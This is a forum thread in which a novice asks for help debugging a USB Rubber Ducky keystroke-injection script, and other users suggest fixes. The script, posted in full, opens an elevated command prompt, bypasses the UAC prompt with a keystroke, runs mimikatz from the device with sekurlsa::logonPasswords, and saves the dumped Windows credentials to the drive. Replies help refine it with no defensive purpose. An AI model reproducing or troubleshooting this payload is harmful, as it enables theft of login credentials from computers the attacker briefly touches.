Jump to content

[Question] Help me figure out whats wrong


Mazer22

Recommended Posts

So I found a script I wanted to run on the rubber ducky but when I run it the first line in cmd does not get entered. It just moves onto the next line without finding what drive it is in. When I had type the same line into cmd it works fine. I think it may be becasue the ducky isnt hitting ENTER or something. Anyone know what is going wrong here. Ill post a picture, the top is when the rubber ducky runs it and the bottom is hand typing it in.

This is what I was trying to run:

STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set duck=%d
DELAY 500
ENTER
?????

post-48246-0-94253800-1408230295_thumb.p

Link to comment
Share on other sites

You either need to flash the composite ducky firmware d_duck_vX.X.hex, where X is an integer. And label the sdcard as "DUCKY"

Or insert a flash-drive labled "DUCKY";

Check out the links in my signature....

Link to comment
Share on other sites

Hey thanks for the response im really new at this so I appreciate the help.

I flashed it with the composite_duck_S003.hex because I wanted it to be HID and mass storage.

I didnt change anything but this morning it seems to be entering that line and I have a new problem haha. Ill put another picture in. After it sets the drive it just enters d.

Heres what im using

DELAY 2000
WINDOWS r
DELAY 200
STRING powershell Start-Process cmd.exe -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 500
STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "Ducky"') do set duck=%d
ENTER
DELAY 500
STRING %duck%\mimikatz.exe > %duck%\%computername%-passwords.txt
ENTER
DELAY 100
STRING priviledge::debug
ENTER
STRING sekurlsa::logonPasswords full
ENTER

post-48246-0-83831200-1408296151_thumb.p

Link to comment
Share on other sites

try breaking up the strings

DELAY 500
STRING %duck%\mimikatz.exe > %duck%\%computername%-passwords.txt
ENTER
DELAY 100
STRING priviledge::debug
ENTER

with additional delays?

eg

STRING %duck%
DELAY 50
STRING \mimikatz.exe 
DELAY 50
STRING > %duck%
Link to comment
Share on other sites

I dont know what to do. I broke up the strings like you suggested and now it cannot find the path to mimikatz im assuming. Mimikatz is on the sd card and opens fine so im guessing theres a problem with %duck% and it not finding the ducky?

post-48246-0-97963300-1408338731_thumb.p

Link to comment
Share on other sites

  • 3 weeks later...

Have a look at the duck slurp post. This detects when the USB Flash Drive is plugged in.

Also, look into Powershell, NOT cmd. Much better for the ducky.

Link to comment
Share on other sites

  • 4 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...